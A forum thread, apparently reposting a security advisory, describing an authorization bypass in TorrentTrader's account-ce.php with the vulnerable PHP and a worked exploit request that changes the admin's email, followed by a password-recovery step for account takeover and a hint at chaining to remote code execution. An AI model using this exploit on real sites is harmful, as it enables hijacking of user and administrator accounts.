Bravo List
Register
Go Back   > Bravo List > Source Code > Trackers > Torrent Trader
Reply
  #1  
Old 09-04-19, 19:28
BamBam0077's Avatar
BamBam0077 BamBam0077 is offline
Support
 
Join Date: Jul 2013
P2P
Posts: 293
Default Unauthorized Email Change
################################################## #############################
1. Unauthorized Email Change in "account-ce.php"
################################################## #############################

Reason: authorization bypass Attack vector: user submitted GET parameters "id", "secret" and "email"
Preconditions: none
Result: attacker can change any user's email, including admin's

-----------------[ source code start ]---------------------------------

PHP Code:
$id = (int) $_GET["id"]; 
$md5 $_GET["secret"]; 
$email $_GET["email"]; 
$res SQL_Query_exec("SELECT `editsecret` FROM `users` WHERE `enabled` = 'yes' AND `status` = 'confirmed' AND `id` = '$id'"); 
$row mysql_fetch_assoc($res);
$sec $row["editsecret"]; 
if (
$md5 != md5($sec $email $sec)) show_error_msg(T_("ERROR"), T_("NOTHING_FOUND"), 1); 
SQL_Query_exec("UPDATE `users` SET `editsecret` = '', `email` = ".sqlesc($email)." WHERE `id` = '$id' AND `editsecret` = " sqlesc($row["editsecret"])); 
-----------------[ source code end ]-----------------------------------

Tests: Let's find md5 hash of email "test@test.com", which is "b642b4217b34b1e8d3bd915fc65c4452".
Target user ID is 1. We issue GET request: http://localhost/torrenttrader208/account-ce.php?id=1& secret=b642b4217b34b1e8d3bd915fc65c4452&email=test @test.com
Quick look to the database confirms, that email address of user with ID 1 has been changed indeed.
Next logical move for attacker is password recovery request: http://localhost/torrenttrader208/account-recover.php
After admin account takeover attacker is able to use next vulnerability, described below, which may allow php remote code execution.

################################################## #############################

Last edited by Thor; 14-04-19 at 11:31. Reason: Edited Code to make it Readable
Reply With Quote
  #2  
Old 13-04-19, 05:15
MicroMonkey's Avatar
MicroMonkey MicroMonkey is offline
Member
 
Join Date: Jun 2016
Posts: 9
Default
what is that? Please explain in full detail
Reply With Quote
  #3  
Old 13-04-19, 15:36
BamBam0077's Avatar
BamBam0077 BamBam0077 is offline
Support
 
Join Date: Jul 2013
P2P
Posts: 293
Default
Reason: authorization bypass Attack vector: user submitted GET parameters "id", "secret" and "email" Preconditions: none Result: attacker can change any user's email, including admin's
Code:
 $id = (int) $_GET["id"]; $md5 = $_GET["secret"]; $email = $_GET["email"]; .. $res = SQL_Query_exec("SELECT `editsecret` FROM `users` WHERE `enabled` = 'yes' AND `status` = 'confirmed' AND `id` = '$id'"); $row = mysql_fetch_assoc($res); .. $sec = $row["editsecret"]; if ($md5 != md5($sec . $email . $sec)) show_error_msg(T_("ERROR"), T_("NOTHING_FOUND"), 1); SQL_Query_exec("UPDATE `users` SET `editsecret` = '', `email` = ".sqlesc($email)." WHERE `id` = '$id' AND `editsecret` = " . sqlesc($row["editsecret"]));

Tests: Let's find md5 hash of email "test@test.com", which is "b642b4217b34b1e8d3bd915fc65c4452". Target user ID is 1. We issue GET request: http://localhost/torrenttrader208/account-ce.php?id=1& secret=b642b4217b34b1e8d3bd915fc65c4452&email=test @test.com

Quick look to the database confirms, that email address of user with ID 1 has been changed indeed.

Next logical move for attacker is password recovery request: http://localhost/torrenttrader208/account-recover.php After admin account takeover attacker is able to use next vulnerability, described below, which may allow php remote code execution.
Reply With Quote
The Following User Says Thank You to BamBam0077 For This Useful Post:
papad (13-04-19)
Reply

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump



All times are GMT +2. The time now is 21:14. vBulletin skin by ForumMonkeys. Powered by vBulletin® Version 3.8.11 Beta 3
Copyright ©2000 - 2019, vBulletin Solutions Inc.